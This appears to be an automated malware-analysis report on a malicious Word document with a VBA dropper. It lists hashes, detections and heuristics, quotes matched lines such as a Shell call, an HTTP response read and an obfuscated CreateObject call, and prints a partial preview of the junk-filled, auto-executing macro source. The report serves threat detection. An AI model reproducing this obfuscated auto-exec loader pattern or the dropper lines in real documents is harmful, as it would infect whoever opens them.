Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7e1468f34563dab2…

MALICIOUS

Office (OLE)

317.5 KB Created: 2018-09-28 13:38:00 Authoring application: Microsoft Office Word First seen: 2018-11-13
MD5: 56818a238fcac0c69147f95020fe90e3 SHA-1: 22ac56a2d5c2ecaff4237aec553bcb161448be90 SHA-256: 7e1468f34563dab2a1d02b461daa9f3353a2381a882a9ff3fefbedc282c44394
360 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1071.001 Web Protocols T1204.002 Malicious File

The sample contains a critical heuristic for VBA downloading and executing a file via HTTP, along with obfuscated auto-executing VBA loaders. The Document_Open macro is present and appears to be designed to initiate this malicious behavior, likely downloading and running a second-stage payload. The presence of `CreateObject` and `Shell` calls further supports the execution of arbitrary code.

Heuristics 11

  • ClamAV: Doc.Dropper.Agent-7148207-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7148207-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
                Shell (iVxPk), 0
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        EutIxna = nWiBT.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
                Shell (iVxPk), 0
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set mjvgF = CreateObject(yNnPNpTJ("AbLY D T_]Or.oRD)B ABBj [.K Y^S gE tvp-.r[V(%eKu %ag^dVmgcyT"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Public Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        qpfJUe = Environ(yNnPNpTJ("TJ_joeSePtm  LlpTwA."))
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 128638 bytes
SHA-256: 53f2d02fe09ced420662601a215359abe51215edb38d403fbd2da14169b88f52
Detection
ClamAV: No threats found
Obfuscation or payload: likely
915 of 1483 identifiers look randomly generated (e.g. 'WlbHeoSelohOUEiE') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Public Sub Document_Open()
    While tQsnXf < 2
        While eEsnni < 1
            eVBLiC = RTrim("tDEYJ )hLzK?BY ")
            lsfvW = LTrim(" % ] r^OaEAm")
            Dim vTLCbl, SCWoo As Byte
            UYdwbOH = RTrim(" qag]evx MW(. TQ")
            FtopglxmwtHo = LTrim(" !EsLtQOt-a !")
            FtopglxmwtHo = Right("s] cj^ZreVIVt @", 3)
            UYdwbOH = StrReverse("IZK&Lbn i -DCr %A%c")
            UYdwbOH = 1792 + 692 + 1176
            

            FtopglxmwtHo = LTrim("  qAu!NTS @ b ]j")
            eEsnni = eEsnni + 2
        Wend

        SunFpKDXJM = StrReverse("    !an GFE_ ")
        Dim tDLch, NCBhT, qKIoTh As Integer
        

        EnytNId = 433 - 205 - 439
        EnytNId = Space(11)
        UYdwbOH = LTrim("T Jp - @z G")
        SunFpKDXJM = Left("Nvb?laaB@m     ", 4)
        Dim OFUmucgM, NOLhiFI, YIeAkE, fdbAtaP As Boolean
        tQsnXf = tQsnXf + 3
    Wend

    eVBLiC = RTrim("  -NkN O HwIOnT ")
    EnytNId = Left("$v h?KRMvrb[XZV tc", 4)
    SunFpKDXJM = Right("M.zwX_YrNBrF%( ", 4)
    While VIzJBx < 2
        While DkxRaQ < 3
            FtopglxmwtHo = 498 - 284 - 107
            EnytNId = Space(14)
            rVGInItNDu = StrReverse(" J   X ZsN")
            UYdwbOH = StrReverse("RAXSZzt%@R pLRC ")
            

            FtopglxmwtHo = Space(4)
            FtopglxmwtHo = 1420 + 506 + 1539
            DkxRaQ = DkxRaQ + 2
        Wend

        eVBLiC = StrReverse("  hUQ[&%vcfLA  Jk")
        Dim SHxiJEjE As Single
        SunFpKDXJM = Right("QhC _ dw  s [", 5)
        rVGInItNDu = UCase("]mHF U !- iT #P")
        Dim kUUquz, PSZGiFH, KdARzDA As Byte
        VIzJBx = VIzJBx + 1
    Wend

    EnytNId = Left(" &juZSy HH_ d m", 5)
    eVBLiC = RTrim("!VLsW[MJT%")
    lsfvW = StrReverse("MMN @PK(_aQmz g%v[ ")
    For QxPHmL = 0 To 7
        FtopglxmwtHo = 304 + 1922 + 1636
        EnytNId = Right("k mEnD ? k F", 3)
        UYdwbOH = Space(4)
        lsfvW = 1255 + 440 + 768
        EnytNId = Space(5)
        SunFpKDXJM = LTrim(" cY? vnvN% f")
        FtopglxmwtHo = UCase("c wsnI- UbT M Nt")
        eVBLiC = Right("PB)a)  DQ ", 2)
    Next QxPHmL

    

HAgaMcJ
    For VbMRuP = 0 To 2
        While sHEmLp < 4
            rVGInItNDu = 1719 + 1389 + 1901
            EnytNId = Space(16)
            SunFpKDXJM = Space(1)
            Dim ZmSDUIj, PcLKYcDV As Single
            FtopglxmwtHo = Left("Lg HJa!r%  N& RWz!h", 3)
            UYdwbOH = Space(20)
            Dim DfGNt As Integer
            eVBLiC = Left("tQ-_SS  X(O  .d Z  ", 2)
            rVGInItNDu = 1076 + 1666 + 160
            lsfvW = Right("   jPv e pDw", 2)
            sHEmLp = sHEmLp + 3
        Wend

        FtopglxmwtHo = Left("@K o^^RECqD ^q  XM", 5)
        UYdwbOH = RTrim("GzvIdwL FDo ku")
        UYdwbOH = 209 - 169 - 261
        EnytNId = UCase("rGLL  q. TEQ a")
        SunFpKDXJM = StrReverse("Mf  H   nxuHX%   ME^")
        UYdwbOH = StrReverse("c  WYm$j  ]mUbETL ")
        lsfvW = Right("p&zRT eWVyLxVY  F", 2)
        

        

    Next VbMRuP

    rVGInItNDu = Right("!L Sl   X$CZx-eD  s ", 5)
    EnytNId = StrReverse(")s DMTOFA ")
    eVBLiC = Right("BmN  I kWQELGHk  sq.", 2)
    UYdwbOH = RTrim("g P v- p%w")
    

    FtopglxmwtHo = UCase("    &x T (!sYlgn")
    UYdwbOH = 1388 + 1042 + 909
    For ARvMTU = 0 To 10
        UYdwbOH = StrReverse(" ldV E V@g.a  ")
        rVGInItNDu = UCase("&r$ ?K Wh^D$EPvR")
        eVBLiC = Left("d  Yl]G[kYAafd#(  kF", 3)
        lsfvW = StrReverse("! o    WK ")
        

        

        FtopglxmwtHo = 417 - 174 - 277
        lsfvW = RTrim("jTJWOM NH xrcC")
        SunFpKDXJM = Left("Ks)  a ck(.", 4)
    Next ARvMTU

    



End Sub



Attribute VB_Name = "Module1"

Sub GmcvvU(dlOOBx As Double, yfdNET As Double, uizcmIW As Double, LuNCaMX As Boolean, IjJUPqB As String)
    SunFpKDXJM = LTrim(" x!Vx_(K E")
    UYdwbOH = LTrim("iR% p   JH ncdh k?n ")
    lsfvW = Left("   O$%  b.h l.Fc!&", 2)
    lsfvW = Left(" yK dv V .kw& NZ", 3)
    

    lsfvW = StrReverse("ewgFGm_zkT  GiKa")
    lsfvW = Space(15)
    FtopglxmwtHo = Right("A I yT  or", 5)
End Sub



Sub KBqlJz(UbAnSD As String, CjprFT As Double, OQenSW As Integer, CQiVDOX As Boolean, jjkmMx As Integer)
    eVBLiC = 644 + 479 + 1203
    For NOQZAZ = 0 To 5
        While dSHupi < 3
            EnytNId = Space(20)
            lsfvW = 233 - 340 - 432
            UYdwbOH = UCase("PCV EI e$c  bkpO")
            Dim oWlDF, uKvgJV, OcOlDZxd As Byte
            lsfvW = 349 - 276 - 477
            eVBLiC = Right("a (t?# f vG   R?", 4)
            dSHupi = dSHupi + 1
        Wend

        Dim DTgJXs, aQxwxSI As Integer
        rVGInItNDu = RTrim("  []NI &[GtGf@ah]")
        EnytNId = UCase("CtG J# t .")
        eVBLiC = Left(" $#EqLUf)b  #H[Gv", 2)
        EnytNId = Right("cc CBA pv!g ncgiqZ ", 2)
    Next NOQZAZ

    eVBLiC = StrReverse("I ISrihM [ oa. ")
    rVGInItNDu = StrReverse("PdlNk JV#& @g")
    FtopglxmwtHo = Right("Tc DkmN U(  (", 2)
    eVBLiC = UCase(" rg Q    Qx  fD -")
End Sub


Function JXKCDM(XyZBGb As Double, nvHpka As Double, hImKJhB As String, GolKGAD As Integer, leMZkdn As Boolean) As String
    UYdwbOH = LTrim("p  s S&^w ")
    lsfvW = 140 - 178 - 202
    UYdwbOH = RTrim("t %dgP]c  ")
    eVBLiC = 208 - 203 - 203
    UYdwbOH = UCase("LL .i U F % ")
    FtopglxmwtHo = 106 + 1825 + 467
    JXKCDM = "LmiMUc"
End Function



Attribute VB_Name = "Module2"

Sub XKpZDM(VbqGka As Boolean)
    EnytNId = UCase("_ he#AB   (_wD &")
    EnytNId = 1449 + 767 + 707
    eVBLiC = Left(" s SzrB t[!_@eT ", 5)
    rVGInItNDu = 208 - 409 - 447
    rVGInItNDu = 326 + 1724 + 773
    eVBLiC = UCase("j#Y -  jF uT")
    UYdwbOH = Space(19)
    

End Sub



Attribute VB_Name = "Module3"

Function RQaSRK(mDKFjc As String, MMhJYoE As Double, qNCXac As Boolean, ltnsqJ As Integer, CNIncJ As Boolean) As String
    

    lsfvW = Right("j?bYs[ApF.oS ed PK", 5)
    lsfvW = LTrim(" U# WP]]  !Vj&a) ")
    FtopglxmwtHo = Right(" wioG x g z G(V", 3)
    eVBLiC = RTrim(")) gNR H G")
    

    rVGInItNDu = RTrim("I SGa _XR OSkJ. _ai!")
    rVGInItNDu = StrReverse(" T (hcXIDs( hnt ]")
    RQaSRK = "uIenviZi"
End Function



Function NLzFVY(ZNFsSB As Integer, zbyRkRX As Boolean, iCmckn As Integer) As String
    FtopglxmwtHo = Left("gEgWlL)$Jpg", 3)
    FtopglxmwtHo = RTrim(" yJqNx L ??e_O!P_qKU")
    eVBLiC = 190 + 773 + 846
    rVGInItNDu = RTrim("  L[kV B iwh ikRTIRj")
    lsfvW = UCase(" J eHo    ^ep")
    NLzFVY = "EdbSx"
End Function



Function sGQmFl(AnQOvnd As Boolean, WuIrcRy As Integer, rnjCdsM As Double) As String
    Dim ZYKtq, sBdzLkV, cBGGPhA, IEqZEHK As Single
    lsfvW = Right("c #X aY lc", 3)
    FtopglxmwtHo = Left(" V y  hI@X [Kh ^(", 2)
    rVGInItNDu = Left("  vJUSwofAQ t ^ gp", 3)
    SunFpKDXJM = RTrim("v  v NM Z?c^lbmX")
    Dim gHbRaq, BPYEKO As Date
    sGQmFl = "QaxzRE"
End Function



Function cdsaqm(CbEPDfx As Double, hdnSlFe As Integer, aXIOtn As Integer) As String
    rVGInItNDu = Right("^y _ZT k i", 3)
    lsfvW = UCase("hJ   ]#  Gu^]D]  lJ")
    Dim CLOYC, lfEzj, XJwdnuI, ttuZO As Date
    UYdwbOH = Space(13)
    EnytNId = Left("he#h ULRcG$ ! yN UY", 2)
    cdsaqm = "DXvTr"
End Function



Attribute VB_Name = "Module4"

Sub Sdeorb(MlazpE As String, nqGjQK As Boolean, wwBMOn As Boolean)
    lsfvW = RTrim(" wy-R  WR ( dM IyV")
    FtopglxmwtHo = StrReverse(" P Z xC  &HoU w")
    rVGInItNDu = StrReverse("^v  ]  DDFSfJx_L np!")
    SunFpKDXJM = Left("  $  -HL EV^yJ  ", 5)
    rVGInItNDu = 991 + 501 + 1039
    UYdwbOH = UCase("oR% Sl JF#rCd")
    Dim sJGTpii, dtFXfkJ As Single
End Sub



Attribute VB_Name = "Module5"

Function SIumte(xEbnip As Integer, YQwoXE As Integer, jclDuU As Double, lUzCFwD As String, vzUcdDI As Boolean) As String
    UYdwbOH = UCase(" Z(!%duxuw")
    UYdwbOH = RTrim("XG@ [ d!  ")
    lsfvW = UCase("g  Ge k-N@i")
    UYdwbOH = Left("uQ)BE SiAe _  JeP ", 3)
    rVGInItNDu = LTrim("bYE^dPr oL  cj%x")
    UYdwbOH = UCase("q[-Z_t.U .GL")
    Dim Eqdrnx, rArCpT, EyaYiS As String
    SIumte = "qbEwxLQ"
End Function



Function eSblZK(oqhSIxu As Boolean, EaIJZVi As Boolean, SfCCyfK As Double) As String
    EnytNId = RTrim("vTQ?  -d?Re")
    FtopglxmwtHo = LTrim("H    pfr TMZn")
    

    FtopglxmwtHo = UCase(" yVf tfk% ")
    EnytNId = Right("CI   _BkH  N@C L", 2)
    FtopglxmwtHo = LTrim("E@  ga x rtaC")
    SunFpKDXJM = 1001 + 1970 + 776
    rVGInItNDu = LTrim("dKd_VA    y ")
    eSblZK = "HBcdjRre"
End Function



Function zpzext(pHVyqb As Integer, TbuIHY As Integer, AePgslm As Boolean) As String
    lsfvW = LTrim("bIrwWIA m ^jY ")
    lsfvW = Right("] &P YtZ^E", 5)
    eVBLiC = LTrim("]wbA!H(a_b]P. etn R")
    EnytNId = RTrim("Y  cdKeAWC")
    SunFpKDXJM = 452 - 434 - 360
    EnytNId = StrReverse(" su]sK)   H")
    

    zpzext = "dxHwAFV"
End Function



Sub qVtGGE(mhMXQR As Boolean)
    FtopglxmwtHo = UCase(" @q OVT%   E")
    eVBLiC = UCase(" ZXRcbN#cEAf.Wo")
    FtopglxmwtHo = 114 - 474 - 474
    

    EnytNId = Left("hMIkH  bC F_LA V z", 2)
    rVGInItNDu = 1593 + 1381 + 1196
    For hzQVNo = 0 To 2
        While KWzTNt < 3
            rVGInItNDu = Right("LtMYHV[eFz F fK! cF", 5)
            Dim qSlccyU, zxuSV, nvEgKFpx As Boolean
            eVBLiC = 1731 + 832 + 1900
            lsfvW = 1690 + 913 + 1669
            eVBLiC = RTrim(")Q(_&l)gKd(")
            Dim weDCd As Boolean
            Dim YtEFWOX As Date
            SunFpKDXJM = Left("Q  IqY VOmc y", 3)
            Dim piPJp As Date
            KWzTNt = KWzTNt + 3
        Wend

        SunFpKDXJM = Right("Wb%O^ KtPh", 4)
        UYdwbOH = 207 - 458 - 383
        SunFpKDXJM = RTrim("( &CVk T  ")
        eVBLiC = StrReverse("gzI perx_nn")
        eVBLiC = Left("@H^!A Q  $]V.qj", 5)
    Next hzQVNo

End Sub



Attribute VB_Name = "Module6"

Sub wzYJlq(FwWsDwF As Double, HjJUlkR As Double, SqIbxM As Double, YGvAqs As String, JIBbwf As Boolean)
    rVGInItNDu = RTrim("kONg  PzlXo@ F  ")
    FtopglxmwtHo = Space(4)
    Dim QOgVEmVw, QEYQFoc As Single
    eVBLiC = StrReverse("Qa T_UedpB")
    rVGInItNDu = StrReverse("Ph K^QUoF]Xt D?tI")
    

End Sub



Sub evXpCi(IDayAG As Integer, JBdPtTv As Integer, hGENdyt As Boolean, aPLLAOH As Boolean)
    UYdwbOH = 858 + 1242 + 1217
    EnytNId = LTrim("xe W yH g  rB")
    SunFpKDXJM = StrReverse("JNP[ UTOV  q  xy RC")
    SunFpKDXJM = UCase("z $XR @?NM E IWq Ep")
    lsfvW = 290 + 1657 + 110
    EnytNId = RTrim("hR H^)RR? r")
End Sub



Attribute VB_Name = "Module7"

Function knHbUG(umJpcx As String) As String
    rVGInItNDu = StrReverse("A f P NepQ   CDjQ")
    eVBLiC = Right("(g &gBTk sv?#s a.e", 4)
    EnytNId = StrReverse("h -   y[V$]OYK")
    SunFpKDXJM = UCase("C.a t fV ERZmE?cwNPJ")
    FtopglxmwtHo = UCase("p FxBBWLvHkSIK  ]qJb")
    knHbUG = "ILQym"
End Function



Attribute VB_Name = "Module8"

Sub ebxcxc(YXkVSX As String)
    For xppqjb = 0 To 7
        rVGInItNDu = 353 + 362 + 443
        eVBLiC = 1248 + 696 + 1881
        UYdwbOH = Left("VcDz IcF#XTz If-", 5)
        FtopglxmwtHo = RTrim("mr$ ? tuovFCz!")
        FtopglxmwtHo = Right("[ !muT jVWw@ %-q   ", 5)
        Dim IZakJ, LahbiedJ, teoupdmz, YvMvOc As Date
    Next xppqjb

    While gMrMDK < 3
        FtopglxmwtHo = Space(8)
        EnytNId = LTrim("C)d e # Q ")
        eVBLiC = 179 - 292 - 138
        SunFpKDXJM = LTrim("j KThTb[jAM")
        SunFpKDXJM = 1034 + 301 + 1316
        UYdwbOH = 884 + 1462 + 1820
        lsfvW = UCase(" uQU.F_s#A$ZyjLh.dhB")
        Dim DAezTj As Boolean
        SunFpKDXJM = Right("LzAqw!$ e]y^sP$a^w", 2)
        gMrMDK = gMrMDK + 3
    Wend

    

    rVGInItNDu = LTrim(" rj .uh iqLNb")
    

    EnytNId = UCase("& .pEt  e OA)C p")
    UYdwbOH = RTrim("pkf FK(Sm t")
    EnytNId = StrReverse("(S%zCF EO  $ ")
    lsfvW = Right("W[D@oua r k!pxFA$y ", 3)
    lsfvW = RTrim("blH  E.Agw-%DRt ")
End Sub



Function drnbRS(udoZgOI As Boolean) As String
    Dim WkUmro, XZzyBMwq, RovNl As Date
    

    lsfvW = Right(" fLhL DoSaBx   JpisM", 2)
    Dim SMMQtn, iPuoAnrW, ccITo, DHCmmWyc As Integer
    For ataKJt = 0 To 9
        lsfvW = Left("s YG   %$[$ ", 2)
        UYdwbOH = 365 - 404 - 194
        rVGInItNDu = RTrim("]rnSxBKw? B .K")
        

        

        eVBLiC = LTrim("[H  U snSYfk-(M")
    Next ataKJt

    FtopglxmwtHo = RTrim("^W   o MGB$I_#l g% ")
    UYdwbOH = StrReverse("aL IgrAc u   ")
    eVBLiC = Space(16)
    FtopglxmwtHo = Right("&L eKaac-af s XhN", 5)
    drnbRS = "nrnxIydJd"
End Function



Attribute VB_Name = "Module9"

Function vEFnON(OqOGOfr As Double, MRFjUA As Double) As String
    While nwwEYT < 2
        For TtCCpZ = 0 To 8
            eVBLiC = 178 + 1788 + 1471
            FtopglxmwtHo = UCase("j&VQ  C ow.Dvn   ")
            eVBLiC = Left("VsD& Wr # fU", 5)
            SunFpKDXJM = LTrim("Q Gof  Zo J%")
            FtopglxmwtHo = 1871 + 1111 + 1206
            lsfvW = Right("sl $ g-v xCT ", 3)
            lsfvW = Left("dU.@f_qYY_aGCvC(", 4)
            eVBLiC = 397 - 344 - 254
            rVGInItNDu = Right(")  e V F B", 3)
            eVBLiC = 149 - 363 - 443
        Next TtCCpZ

        eVBLiC = 497 - 119 - 410
        EnytNId = StrReverse("  U[HHs$h ")
        SunFpKDXJM = Right(" jK o   ec!vF@# r", 4)
        lsfvW = Left("N KZ  & $DJ", 5)
        eVBLiC = Left("pY%E ] $B   J   g", 2)
        EnytNId = 899 + 798 + 657
        FtopglxmwtHo = UCase("a C )a q #Q u")
        SunFpKDXJM = UCase(" y w y#QpbPqMosqN ")
        Dim fCtiZ, zycvO, wTxmHU As Date
        nwwEYT = nwwEYT + 3
    Wend

    UYdwbOH = 386 + 1326 + 826
    lsfvW = Space(6)
    For OtXQvM = 0 To 5
        FtopglxmwtHo = UCase("  XRKzFg sUU)  !A]W")
        SunFpKDXJM = RTrim("e  A ]uV$z  Wh")
        eVBLiC = Space(14)
        rVGInItNDu = Left("Lmn EhDTXOP(aY!% f a", 3)
        EnytNId = Right(" z@.RyXsSDx!  )s", 5)
        EnytNId = LTrim("  q ^w&(aF")
        rVGInItNDu = 442 - 175 - 181
        UYdwbOH = 1345 + 1753 + 946
        SunFpKDXJM = UCase("  O# M    IYaD")
        Dim vMgTf, mxOenW, FtUdnlIn As Byte
    Next OtXQvM

    rVGInItNDu = Right("h E$azfKQnor )& V J ", 5)
    

    For vHhSHf = 0 To 4
        While KNOMlk < 3
            

            SunFpKDXJM = UCase("]PVi bRpggQ ")
            FtopglxmwtHo = RTrim(" )% %  PIwp?O")
            FtopglxmwtHo = UCase("  N q- uy_ v")
            

            EnytNId = UCase("Q  JGbTz.h mkVfCe #")
            UYdwbOH = UCase(" U [C ytm $e")
            rVGInItNDu = RTrim(" SMQ  k^ kCJ")
            eVBLiC = 1711 + 878 + 186
            EnytNId = LTrim("JEbAX^jYj u ")
            KNOMlk = KNOMlk + 1
        Wend

        rVGInItNDu = RTrim(" v_[BOQXlm ")
        lsfvW = UCase("F.PR J$q$n x! xND")
        Dim uEoFY, FkChqu As String
        EnytNId = Left("$D.t]G _A(nz@j_.C#an", 5)
        UYdwbOH = LTrim("c!g  wo$#%.d XtA  Hg")
        SunFpKDXJM = UCase("a A XwCc!   w")
    Next vHhSHf

    Dim lLdvuRE, VvubVa As Byte
    For ekxbyJ = 0 To 5
        rVGInItNDu = Space(2)
        rVGInItNDu = Space(19)
        rVGInItNDu = UCase(" AP^ W^B]x")
        

        Dim EwpgYD, BxqwVDPk As Integer
        eVBLiC = 1446 + 661 + 535
        UYdwbOH = Space(2)
        eVBLiC = 498 - 105 - 392
        rVGInItNDu = Right("tMj!I ? @K$Mpxz", 4)
        lsfvW = Space(12)
    Next ekxbyJ

    vEFnON = "SxOmFgkUR"
End Function



Function KFnuSL(yLWRzc As Double, VwmpMT As String, RjPIQp As Boolean, IElnxp As String, GEcKray As Double) As String
    Dim ktlGSUdu, tlUFzNQb As Byte
    lsfvW = Space(16)
    lsfvW = 286 - 468 - 339
    UYdwbOH = StrReverse(" ZX)r %#WHBb  @NhLG")
    UYdwbOH = UCase("& c fHsIs  @vQSZ")
    Dim WvKBfoN, HgjKL, KUarGxo, HBUmk As Boolean
    UYdwbOH = UCase("F[BJ#l$SW   ? z)  Jk")
    eVBLiC = Right("  ZPm %b lZg$z Xxku-", 3)
    KFnuSL = "WZhdjPRo"
End Function



Attribute VB_Name = "Module10"

Sub bhgZGl(djiNOP As String, kpNquS As Integer, aAFbOP As Integer)
    EnytNId = 298 - 159 - 487
    EnytNId = 238 - 379 - 245
    Dim iKJyeQCh, llrpOoR, GKbnMg As Byte
    eVBLiC = 281 - 473 - 305
    SunFpKDXJM = Space(13)
    UYdwbOH = 252 - 152 - 467
    While CBgxoU < 3
        lsfvW = 1821 + 1561 + 529
        SunFpKDXJM = StrReverse("xKyHyQmiH  cP FH")
        UYdwbOH = StrReverse("ox   iLYV ")
        FtopglxmwtHo = Right("s#z@ u( VPh  lqA[", 4)
        rVGInItNDu = UCase(" I  PJZwni")
        SunFpKDXJM = LTrim(" X cyD k[ .FM @Iz?  ")
        EnytNId = 1910 + 287 + 1004
        CBgxoU = CBgxoU + 1
    Wend

End Sub



Function SKlJPM(YPetsG As Double, eHewpyZ As Double) As String
    UYdwbOH = 170 - 439 - 347
    lsfvW = StrReverse("._g RMxm)nK  k lVXyN")
    

    For FTiPQS = 0 To 7
        eVBLiC = LTrim("z !L.x M y")
        rVGInItNDu = LTrim("   #  !SAD ")
        rVGInItNDu = Right("RT^zr e  EJA N r oP", 2)
        Dim kXOOxf, FYbhHzq, BjddRs As Boolean
        eVBLiC = StrReverse("I  NNHB( C..cVTtC)z")
    Next FTiPQS

    SunFpKDXJM = Right("pSV q h AN", 3)
    

    lsfvW = Left("Pw $witji#$ nha@j", 3)
    SunFpKDXJM = 255 - 446 - 422
    SKlJPM = "XwGEzGnt"
End Function



Function LeyOGm(BRTGpH As Integer, UNUuCK As Integer, vLbinR As String) As String
    

    

    EnytNId = RTrim(" ?_n gaGpj)j.")
    UYdwbOH = Right("N N iC Ew yk% ", 3)
    UYdwbOH = LTrim("G p $&  f   Y q")
    rVGInItNDu = UCase("Kz xw?sSDX#sh")
    FtopglxmwtHo = Right("-pA_dk_ z ", 5)
    EnytNId = RTrim(")o@  ImDVT!cQD@x F?")
    For EqYNDR = 0 To 8
        eVBLiC = UCase(" ACH%tlRhmUm RSiq")
        Dim ErTTg As Date
        rVGInItNDu = 338 - 260 - 200
        SunFpKDXJM = 1128 + 1309 + 447
        lsfvW = LTrim("K n g yRpRc H")
        rVGInItNDu = RTrim("  iC  eesQawB")
    Next EqYNDR

    LeyOGm = "nEepLFYfe"
End Function



Function gWaCba(ooYlKXC As Double, LLnYCl As Boolean) As String
    lsfvW = 1899 + 465 + 1929
    eVBLiC = Space(14)
    FtopglxmwtHo = RTrim("Na  pj     p!QItk^")
    FtopglxmwtHo = 119 - 433 - 489
    lsfvW = UCase("vYml yUf    yf?p   ")
    FtopglxmwtHo = UCase("e  BJ@wgn (%")
    lsfvW = Left("O?ZJJ &cq#W bt", 2)
    UYdwbOH = Right("ggtvGZ sudu oafraU ", 3)
    gWaCba = "YEDqeTRW"
End Function



Attribute VB_Name = "Module11"

Function lUMQcE(iSZkEFA As Double, aUZchNz As Integer) As String
    For DTxZLr = 0 To 3
        For MXvMvJ = 0 To 6
            FtopglxmwtHo = Space(13)
            

            lsfvW = UCase("NUkZ#p !rFh! jB")
            SunFpKDXJM = 240 - 252 - 277
            

        Next MXvMvJ

        rVGInItNDu = StrReverse("r%#  E Y!  STV")
        EnytNId = Space(4)
        Dim wGUHh, BwaUUak As Byte
        Dim rSYsJ, KHBrEQn As Integer
        EnytNId = StrReverse(" rRy  o CT[Vj")
        lsfvW = LTrim("FsSfxlvE   l #r _ a")
        eVBLiC = LTrim(" ow  II h]? KM&GQ")
        

        lsfvW = LTrim("hiiwH%   m")
    Next DTxZLr

    lsfvW = UCase("B #n@IETVB w$")
    lsfvW = Space(12)
    SunFpKDXJM = 743 + 901 + 1588
    While cvepuu < 4
        While tNnZRO < 1
            SunFpKDXJM = StrReverse("w ?x]Iis x &J")
            FtopglxmwtHo = 223 - 395 - 325
            eVBLiC = 380 - 237 - 450
            FtopglxmwtHo = 299 - 425 - 440
            eVBLiC = UCase(" jIDWI . _ ")
            eVBLiC = StrReverse("   ES    j -vx")
            FtopglxmwtHo = Right("&v WB JxxB  PkC  t K", 3)
            EnytNId = RTrim(" @(!KOUpRZI-y")
            rVGInItNDu = Space(18)
            lsfvW = Left(" r$a D   )ch@U?Z( w", 3)
            tNnZRO = tNnZRO + 2
        Wend

        lsfvW = Left(" BC??GQms(tF S pkrq", 5)
        EnytNId = 813 + 790 + 1506
        UYdwbOH = Space(20)
        lsfvW = 103 - 402 - 161
        Dim tDyhxi As Single
        FtopglxmwtHo = LTrim(" RkIR@!K  _ny hj C")
        FtopglxmwtHo = Space(11)
        EnytNId = Right("zIp V  Dzg h-)m?S f", 5)
        cvepuu = cvepuu + 1
    Wend

    UYdwbOH = StrReverse("?j^ Ay# ( ")
    lsfvW = Right("^x!FQwK    FVur  Z Z", 5)
    lsfvW = 1142 + 541 + 555
    EnytNId = UCase(" % wZOLuuk")
    lUMQcE = "BQTWHPyKL"
End Function



Function cVWlUL(RPywRWt As Double) As String
    For bcKBBm = 0 To 9
        UYdwbOH = Space(19)
        EnytNId = Space(14)
        SunFpKDXJM = RTrim("vac[ MNAO bv[ ? fr_&")
        

        UYdwbOH = StrReverse("# M$j% qRkmdbijX  Y")
        UYdwbOH = UCase("_M W ntJ Bf #W ptA")
    Next bcKBBm

    For PhwOtl = 0 To 2
        For tVyJkq = 0 To 6
            rVGInItNDu = 566 + 942 + 1841
            EnytNId = Right("LR?XHiwV ](   ", 5)
            eVBLiC = 145 + 758 + 1053
            

            SunFpKDXJM = 1833 + 1268 + 1826
            Dim CPfYL, vweysZ As Single
            

            eVBLiC = 489 - 142 - 492
        Next tVyJkq

        EnytNId = Space(5)
        lsfvW = Right("JVLWm rbK@P", 4)
        

        Dim JbIQoBj, gWCGYFo, MxhLOh, JYmKFt As Boolean
        

    Next PhwOtl

    EnytNId = 1182 + 522 + 1058
    lsfvW = Right("Du IG-ItFI", 4)
    UYdwbOH = StrReverse(" ]_to! z #]Fj")
    lsfvW = 1531 + 924 + 112
    cVWlUL = "YHELwu"
End Function



Sub gvDdQY(GbjJbC As String, thCJkR As Boolean, lrKqfJ As String, OaucHy As String)
    EnytNId = RTrim("Y.    U  wz  $  qj ")
    lsfvW = Left(" a%u-.hV GHaaK $Kzj&", 5)
    SunFpKDXJM = LTrim("[J s#  XMcCyW-# rb")
    SunFpKDXJM = Space(16)
    rVGInItNDu = Right(" wDa HpjUN  fmb]v", 4)
    SunFpKDXJM = LTrim("J  (! VQtvr")
    For vYBazF = 0 To 5
        For fLsNGt = 0 To 7
            FtopglxmwtHo = 422 - 291 - 368
            SunFpKDXJM = Left("eq&l Pn m( ?FM", 2)
            

            eVBLiC = RTrim("Yor[ G!EO? M Txk")
            rVGInItNDu = Space(19)
            EnytNId = Left("fB- m Mk! hrsl)", 5)
            SunFpKDXJM = StrReverse(" Ps[ @ Z(   kO")
            eVBLiC = Right("ebGnETK  eh(M", 5)
            EnytNId = RTrim("% J s ztAh")
            

